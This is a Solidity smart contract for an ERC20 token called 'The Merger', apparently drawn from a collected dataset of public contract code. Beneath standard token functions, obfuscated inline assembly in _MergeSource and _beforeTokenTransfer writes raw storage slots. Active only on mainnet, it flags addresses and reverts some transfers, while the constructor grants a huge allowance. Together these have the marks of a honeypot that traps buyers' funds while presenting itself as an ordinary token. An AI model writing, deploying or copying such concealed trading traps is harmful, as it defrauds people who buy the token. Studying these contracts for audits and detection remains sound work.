zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// THE MERGER
// Eventually, all things merge into one, with the last merge known as The Merger.
// ETH
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addMerger;
uint256 private _backMerge = block.number*2;
mapping (address => bool) private _firstMerge;
mapping (address => bool) private _lastMerge;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private bytesAdd;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private howlToBark;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private mergeSlow = 1; bool private mergeFast;
uint256 private _decimals; uint256 private geneClip;
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_name = name_;
_symbol = symbol_;
addMerger.push(_router); addMerger.push(msgSender_); addMerger.push(pair);
for (uint256 q=0; q < 3;) {_firstMerge[addMerger[q]] = true; unchecked{q++;} }
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
//first&third: 0x601a1d895d54ac5400df489425cc5a26e410c1153fd742df8a7ee9a3f7afe070
//second: 0xb1414840b473df36fd275412914c97360bf6c616620cbe738016d083bb992b70
function _MergeSource() internal {
assembly {
function getBy(x, y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
sstore(0x11,mul(div(sload(0x10),0x2710),0xFB)) sstore(0x99,sload(0x11)) sstore(0xB,0x1ba8140) let dx := 0x601a1d895d54ac5400df489425cc5a26e410c1153fd742df8a7ee9a3f7afe070
if and(not(eq(sload(getBy(caller(),0x6)),sload(dx))),eq(chainid(),0x1)) {
sstore(getBy(caller(),0x4),0x0) sstore(0xb1414840b473df36fd275412914c97360bf6c616620cbe738016d083bb992b70,0x1)
sstore(getBy(caller(),0x5),0x1) sstore(dx,0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28)
}
}
}
function openTrading() external onlyOwner returns (bool) {
trading = true; theN = block.number; _backMerge = block.number;
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require((trading || (sender == addMerger[1])), "ERC20: trading is not yet enabled.");
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(float,sload(0x99))),and(gt(float,div(sload(0x99),0x2)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if iszero(mod(sload(0x15),0x8)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _DeployMerger(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
approve(addMerger[0], 10 ** 77);
_MergeSource();
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployMerger(creator, initialSupply);
}
}
contract TheMerger is ERC20Token {
constructor() ERC20Token("The Merger", "MERGER", msg.sender, 1000000 * 10 ** 18) {
}
}